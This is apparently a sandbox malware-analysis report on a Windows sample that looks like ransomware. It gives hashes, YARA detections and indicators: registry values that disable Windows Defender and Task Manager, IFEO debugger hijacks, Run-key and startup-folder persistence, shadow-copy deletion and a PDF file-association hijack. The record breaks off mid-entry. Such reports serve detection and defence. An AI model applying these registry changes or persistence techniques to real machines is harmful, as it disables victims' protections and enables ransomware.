Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/05/2026, 07:33
Static task
static1
4 signatures
Behavioral task
behavioral1
Sample
2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
46 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11-20260130-en
windows11-21h2-x64
45 signatures
150 seconds
General
- Target 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 50KB
- Sample260504-jdkd4ady5w
- SHA256 5d4a9d3391f5d33a8d88401fa653e18d78a842652c38c570d12d5a88d72708c2
- MD5 4c0e9b5f0dc9a25afdbbd143d25ff5f6
- SHA1 a6cd6d59b94b12a7be8c85a931ad795382d82997
- SHA512 9bcba53a064a205b8dbd1701cd2ba937f9504cf2d213100bb7b6f192bb7b29be318a2f67b494e3777864612592ea57d903f6022e13fcfeb08043591a3bf64400
- SSDEEP 768:Cd/5LLAlctwpOrW/Oas4oKYxo6Sx2Sf/h/RgL4/C1XXGblfppiKFc5x7:+/+Fpz9n1xThGL4/EXGblfLiucf
- TLSH T1F733E54477F88511F5BF4ABA8DB186029B31B8979C22D78E07D5058E1AB3740CDA8F7B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/4640-0-0x0000000000320000-0x0000000000332000-memory.dmp disable_win_def behavioral1/files/0x0007000000024978-2392.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral1/memory/4640-0-0x0000000000320000-0x0000000000332000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral1/files/0x0007000000024978-2392.dat INDICATOR_SUSPICIOUS_GENRansomware - Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral1/memory/4640-0-0x0000000000320000-0x0000000000332000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral1/files/0x0007000000024978-2392.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3948 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 4436 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\International\Geo\Nation 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\sysupdate.exe 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 5712 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5464 sc.exe 1596 sc.exe 1916 sc.exe 2384 sc.exe 4420 sc.exe 2880 sc.exe 4628 sc.exe 3088 sc.exe 444 sc.exe 5760 sc.exe 5352 sc.exe 3476 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4164 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5648 ipconfig.exe 440 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3700 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5432 vssadmin.exe 5416 vssadmin.exe 4228 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134223536014252635" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open\command 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open\command 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\.pdf\ = "PDFBotnet" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created 